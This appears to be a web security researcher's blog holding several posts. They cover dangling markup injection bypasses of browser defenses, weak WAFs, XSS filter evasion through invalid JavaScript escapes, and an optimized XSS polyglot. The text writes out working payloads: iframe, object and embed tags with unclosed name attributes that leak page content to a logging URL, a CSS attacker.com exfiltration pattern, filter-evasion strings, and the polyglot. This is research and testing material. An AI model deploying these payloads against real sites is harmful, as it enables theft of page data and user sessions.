New HTML injection attack vectors

Recently I’ve been looking at how HTML markup injection attacks have changed over the years, mainly due to the fact that modern web browsers now implement defense mechanisms that attempt to prevent data leaks through dangling markup injection attacks.

Dangling markup injection attacks are very simple. Imagine a web page that has an HTML injection vulnerability like the following example:

An HTML tag with an unclosed attribute is injected into the page. The unclosed attribute consumes the web page’s content until it finds a matching closing quote. Such attribute can then leak the consumed data through a HTTP request:

In this example a <meta> tag was used to request a stylesheet from a foreign server which is logging incoming requests and waiting for the leaked data to arrive. But any HTML tag that performs an HTTP request will do, such as <img> or <iframe>. And really HTML is not the only option, CSS code could be used too in a scenario where style injection is feasible. CSS functionality such as background: url(‘http://attacker.com/?log= or @import could be used to force the browser to initiate an HTTP request.

Actually there’s a github site named HTTPLeaks that lists all possible ways in which a browser can leak data through HTTP requests.

However things have changed through time and now most browsers implement defenses in an attempt to stop these types of attack; whenever an URL is rendered, the parser looks for certain dangerous patterns such as angle brackets < > and new lines (\n \r). If this combination of characters is found, then the request is blocked by the browser. It is possible to see the blocked request in the dev-tools network panel:

I tested different dangling injections in different browsers. Chrome, Chromium, Edge and Opera are indeed blocking the exfiltrating request. However for some reason Firefox (v. 124) is not implementing such defense.

Since the dangling injections only work in Firefox, my goal was to find a way to make them work in other browsers too. I found a commit diff in Chromium’s source code that illustrates the defense mechanism. Then, after looking some more, I found a security vulnerability report from 2017 that exposes a bypass for the request blocker. I was very lucky because I tested the attack vector in the other browsers and it successfully leaked the data.

I also came up with 2 more bypasses that work in all the browsers as well:

Iframe bypass

As demonstrated in HTTPLeaks, there is a vast amount of HTML tags which have attributes that expect a URL as their value. Whenever URLs are rendered by the browser the blocking defense mechanism validates them.

Anyway, the window.name variable contains the name of the current window. It is possible to set the name of an iframe window through the HTML name attribute
<iframe src=’//nzt-48.org’ name=’iframe-one’/>.
This attribute is not used to make an HTTP request using a URL, thus it won’t be validated; if the attribute is left unclosed it will consume the page’s content. window.name can be read from both inside the iframe and out of the iframe, so the consumed content gets leaked.

<iframe src=’https://nzt-48.org/lab/leak_logger’ name=’

The page requested through the src URL is requesting a script owned by the attacker that reads the window.name property leaking the page’s data:
<script>alert(window.name)</script>

iframe leak PoC

Object bypass

It is possible to include the content of an external HTML page through the <object> tag; it works just like an iframe. The bypass is self-explanatory:

<object data=’https://nzt-48.org/lab/leak_logger.php’ name=’

Object leak PoC

Embed bypass

Web pages can also be embedded in a document with the <embed> tag. Embed’s name attribute is now deprecated but all browsers still implement it.

<embed src=’https://nzt-48.org/lab/leak_logger.php’ name=’

Embed leak PoC

Content-Security-Policy

In Chrome and Opera, the CSP frame-src directive blocks the loading of web pages through the iframe, object and embed elements.

However, in Firefox web pages can still be loaded using object or embed even if the frame-src directive is declared.

Conclusion

Tag attributes that expect URLs should not be the only ones validated. Any other attribute that somehow might be read externally should also be checked.

2024-04-02
Bypasses for the most popular WAFs

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled “Our favorite XSS filters and how to attack them“. In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it was a piece of cake.

My conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they can be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they’ve become over time. The conclusion is that most of them are still extremely vulnerable to very lethal attacks. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 1 minute.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

  • Amazon Web Services WAF
  • Cisco Secure WAF
  • Cloudflare Web Application Firewall
  • Citrix Netscaler
  • F5 BIG-IP Advanced WAF
  • Fortinet’s Fortiweb WAF
  • Akamai Web Application Firewall
  • Sophos Firewall
  • Incapsula Imperva
  • Broadcom
  • Radware

Click on more to see the bypasses:

(more…)

2023-08-03
XSS filter evasion through invalid escapes

Most of the time, XSS filters look for specific keywords to detect invocation of dangerous functions or variables. A very common bypass technique is to break these specific character sequences like this:

window[‘ale’+’rt’](1)
window[‘alexrt’.replace(/x/,”)](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick, straight-forward way. It consists of escaping characters that do not have an escape sequence assigned. For instance, this are valid escapes in javascript:

\’ Simple quote
\” Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window[‘\a\l\ert’](1)
window[‘\pr\o\m\pt’](1)

I hope this will help to do your hacking simpler and faster.

2023-07-28
XSS Detection Optimization

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes). I thought it would be fun to see if I could optimize it by making it shorter and more functional.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style –></xmp></script><svg/onload=’//”/**/%0a
onmouseover=alert()//’>


It is 103 bytes long and it works in one more context than Gareth’s (his doesn’t work in single line comment contexts (//).

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a=’xss‘</script>
<script>a=”xss“</script>
<script>a=”xss“</script>
<script>//xss</script>
<script>/*xss*/</script>
<a href=’xss‘></a>
<title>xss</title>
<textarea>xss</textarea>
<style>xss</style>
<div>xss</div>
<div xss></div>
<div class=’xss‘></div>
<div class=”xss“></div>
<div class=xss></div>
<noscript>xss</noscript>
<noembed>xss</noembed>
<!– xss –>
<xmp>xss</xmp>
<math>xss</math>
<frameset>xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style –></xmp></script></noembed></noscript></math><svg/onload=’//”/**/%0aonmouseover=alert()//’>

This means that instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in only 5% of the time.


Can you make it even shorter? Let me know in the comments or through twitter (@tr3w_)

2023-07-12